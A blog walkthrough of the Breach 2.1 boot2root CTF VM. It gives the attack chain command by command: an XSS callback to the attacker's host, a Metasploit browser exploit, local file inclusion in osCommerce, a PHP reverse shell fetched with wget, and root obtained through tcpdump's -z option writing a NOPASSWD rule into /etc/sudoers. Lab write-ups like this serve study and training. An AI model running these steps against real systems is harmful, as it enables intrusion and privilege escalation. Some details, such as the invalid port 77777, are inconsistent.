Breach 2.1 is a boot2root/CTF challenge that attempts to showcase a real-world scenario. The challenge is provided as a VM configured with a static IP (192.168.110.151).

The following blog post is my log from playing this challenge.

Test lab environment

As usual my test lab consists of:

  • Virtual Box
  • Parrot OS
  • Breach 2.1 VM

Initial stage

This VM already comes configured with static IP-address. As long as I am on the same sub net as the VM everything should be dandy. As with many other challenges we start with a black box scanning to find open ports:

sudo nmap -p1-65535 -A -T4 -sS -oX nmap_scan_initial.xml 192.168.110.151

TIP: Always save your outputs! In this example I am using the XML output option. This makes it way easier importing the results into tools such as Dradis and MagicTree. I’ve omitted any output arguments for the rest of this walk-through.

breach21 - first portscan.png
First portscan

SSH investigation

The initial port scan revealed that port 111/tcp (rpcbind), 56209/tcp (status) and 65535/tcp (ssh) are open. The SSH port caught my eye and will be first victim for scrutiny. For now I will simply barge in:

$ ssh 192.168.110.151 -p 65535
breach21-ssh-on-high-port
SSH banner

The SSH banner gives away lots of hints for this challenge:

  • There’s a user with name “Peter” on the server
  • Peter is on vacation. Perhaps he’s using his personal laptop to access the system?
  • Peter checks his blog often.
  • Peter’s password is in the source. Which source?

Very Peter specific hints. The password hint is strange given access is on SSH port only. Anyway, since there are no source to look at I deduct the password is a variant of “in the source“. The sanest way is to treat it like a password, thus removing any white spaces:

Breach21 - ssh login peter.png
SSH Peter fails

Login in as Peter is a success but the connection drops straight away. Since there are no warning or error messages I deduct I am dealing with the “ForceCommand” directive. This directive is typically used for running commands upon logins. I’ll issue another Nmap scan to see if anything changed.

Breach21 - second nmap scan.png
Second Nmap scan

Apparently the login attempt woke Apache from its sleep. Interesting find. Before visiting I decide to enumerate folders up front):

nmap --script=http-enum.nse 192.168.110.151
Breach21 - enumerate web folders.png
Nmap Folder Enumeration

Nothing much found except for the “/blog/” folder. It’s time to do some manual investigation.

Website investigation

The default landing page is a bare one:

Breach21 - blog website.png
Default landing page on web-server

Not exactly much to go by except for something related to “Beef” and a “stapler”. The HTML source code doesn’t give away anything interesting:

Breach21 - Blog HTML source.png
HTML comments

Blog investigation

Breach21 - blog landingpage.png
Not exactly sexy

This blog isn’t exactly sexy and is quite old judging from the copyright notice (and the design). Given the hint that Peter is checking his blog constantly I deduct this is it and I have to exploit him directly. Perhaps attacking his browser using XSS:

breach21 - searchsploit.png
Searching for exploit

Reading through the list it seems that the “17640.txt” is a possible candidate:

breach21 - blogphp exploit.png
A fitting exploit

A quick test reveals that “register.html” is accessible and gives me hope the exploit will work. The plan is to register a new user using some HTML as user name to connect back to my computer. In that way I can fetch his User-Agent and determine if he is further exploitable.

Username:

<img src="http://192.168.110.04:7771" />

Listener

nc -lvp 7771

And sure enough, after a short while Peter browsed the site and my listener caught it:

breach21 - peters browser.png
Caught by listener

He’s using a fairly old browser. Searching through Metasploit I find that exploit “exploit/multi/browser/firefox_proto_crmfrequest” addresses Firefox 15.

Preparing it for action:

breach21 - preparing metasploit.png
Preparing exploit

Then I register a new user on the blog using an iframe instead of the image tag I previously used. The theory behind it is almost the same, except payload will be dropped in the iframe. After running this exploit all I have to do is to wait for Peter to revisit the members section.

breach21-exploit-connecting
Exploit doing its magic

Once the session is active I can do stuff:

Breach21 - exploit ls and id.png
Running “ls” and “id” command before connection dropped

The “id” command shows I am connect as Peter. Earlier on I tried to log in as Peter using SSH. Seemingly it worked but I got kicked right back out again and suddenly Apache was brought to live. I made a note maybe the “ForceCommand” setting was involved, the time is ripe to investigate the circumstances!

Using the active session I peek at the SSH configuration using this command:

cat /etc/ssh/sshd_config

It contains:

UsePAM yes
AllowUsers peter
ForceCommand /usr/bin/startme
AddressFamily inet

The “startme” script deserves some attention, it contains:

sudo /etc/init.d/apache2 start >> /dev/null

This script starts Apache when Peter logs in. Obviously this tossed me right back on the street upon execution. The strategy now is to gain access using SSH. Peters “.bashrc” will play an important part in this strategy since I want to rewrite it completely to spawn a shell:

echo "exec sh" > .bashrc

SSH login

The trick worked and I can successfully login using SSH. Running a quick “whoami” and “ls” reveals:

breach21-ssh-successfull-login
SSH login successful!

The next thing is to find me some users by investigating “/etc/passwd”:

breach21-userslist
Finding users

I got “peter”, “blumbergh” and “milton”. Finding users are important, they will come in handy later. Next I’ll figure out if there’s anything interesting running locally on this server.

Breach21 - netstat.png
Local services

For the most part I am interested in anything in listening state. Port 3306 typically indicate the MySQL service, from the socket list I see evidence that MySQL is indeed running. I leave it be for now. Further, there are something listening on port “2323” on localhost. A mystery service maybe Netcat can shed some lights on?

Mysterious service

Breach21 - telnet.png
It appears to be Telnet

Sure thing, Netcat connects but output is garbled. The output resembles something Telnet would produce and connecting to it using the “telnet” command confirms it.

What’s strange is that I am presented with what seems as a GPS position in the welcome banner. Google Maps says it is a place in Houston called “Houston Police Memorial”. This gotta be a major hint! A place with “Houston” in its name in city called Houston? “Houston” seems important. Perhaps the pass-phrase?

Breach21 - telnet trickery.png
Telnet trickery

Blumberg is a dud using “Houston” as password, but there’s something about “milton”. Logging in I am presented with a counter counting downwards, then it asks a silly question about a stapler. I’ve seen that “stapler” referenced before. Anyway, it’s perfectly clear that the counter is a program or script. What’s the best location to hide such a thing? The first thing that pops into mind is “/usr/local”. I decide to go hunting for it.

$ grep -rl stapler /usr/local 2>/dev/null

The offending script causing this is “/usr/local/bin/cd.py” and contains:

#!/usr/bin/python

import signal
import time
import os

s = signal.signal(signal.SIGINT, signal.SIG_IGN)

countdown=3

while countdown >0:
time.sleep(1)
print(countdown)
countdown -=1
if countdown <1:
question = raw_input("Whose stapler is it?")
if question == "mine":
os.system("echo 'Woot!'")
else:

os.system("kill -9 %d"%(os.getppid()))
signal.signal(signal.SIGINT, s)

The magic pass-phrase is “mine”. Trying that:

Breach21 - mastering telnet trickery.png
Mastering Telnet trickery

And I am in as “milton”. Two out of three users down. Poking around “miltons” home folder I find that there’s something fishy going on with his “.profile” file.

python /usr/local/bin/cd.py
sudo /etc/init.d/nginx start &> /dev/null

sudo() {
echo "Sorry, user milton may not run sudo on breach2."
}
readonly -f sudo

From the code in .profile I see that upon login Nginx is set to start running under sudo. What comes next is even more interesting! There’s an alias for “sudo” so that whenever “milton” tries to “sudo” he’s denied. Investigating further using “netstat” I see that a new port has been opened, most likely belonging to Nginx!

Breach21 - netstat Nginx started.png
Netstat new listening port

Exploiting osCommerce

Browsing to port 8888 brought me just an index page with a pointer to osCommerce. By just looking at the osCommerce logo we can figure out the version number, which is “V3.0a5”. Using “searchsploit” I find a fitting exploit:

Breach21 - oscommerce exploit.png
osCommerce exploit

This version of osCommerce is prone to a local file-include vulnerability and an HTML-injection vulnerability since it fail to properly sanitize user-supplied input. The URL we are going to exploit looks like this one:

http://192.168.110.151:8888/oscommerce/admin/includes/applications/services/pages/uninstall.php?module=traversal_here

I quickly create a test PHP script to see if the exploit works:

echo "" > /tmp/hello.php

The goal is to use that directory traversal to load this PHP script. The traversal when crafted looks like:

http://192.168.110.151:8888/oscommerce/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../../../../../tmp/hello

It works and this means I can utilize it together with a reverse shell.

osCommerce upload shell

The plan for exploiting osCommerce is as follows:

  • Create backdoor PHP shell
  • Start a local web server
  • From attacker side startup Netcat listener
  • From the Telnet session “wget” shell onto server
  • From attacker side effectuate shell

Creating bakdoor PHP shell

$ cp /usr/share/webshells/php/php-reverse-shell.php shelly.txt

In “shelly.txt” I set following:

IP = 192.168.110.4
PORT = 77777

Script is now ready to use!

Start a local web server

I start a local web server so “shelly.txt” can be downloaded using “wget” directly from the target server

$ php -S 192.168.110.4:8080

Start Netcat listener

$ nc -lvp 7777

Downloading the shell

Inside the “milton” Telnet session:

$ wget http://192.168.110.4:8080/shelly.txt
$ mv shelly.txt /tmp/shelly.php

Effectuate shell

In Firefox I visit:

http://192.168.110.151:8888/oscommerce/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../../../../../tmp/shelly

And I then I got shell access!

Breach21 - shell working.png
Shell working

Determining sudo rights:

Breach21 - blumbergh sudo rights.png
sudo rights Blumbergh

OK. A major hint right there. Blumberg can run “tcpdump” without password.

Exploiting TCPDUMP

There’s a known issue with TCPDUMP that let us run commands and scripts as ROOT. You can read more about it here: Why TCPDUMP is dangerous.

Plan is to make “blumbergh” able to sudo without password.

$ echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/doomsday && chmod +x /tmp/doomsday
$ sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/doomsday -Z root

Test if command executed like it should:

$ sudo -l
breach21-su-to-root-ok
sudo information

Final step to become ROOT and pwn this game:

$ sudo su
$ cd /root
$ ls -la

Found “.flag.py”, executing it:

breach21-flag
The flag!

Closing

This was a lengthy and fun challenge and I also enjoyed making this walkthrough! If you enjoyed it, please share and contact me on Twitter ( @reedphish )!

Advertisements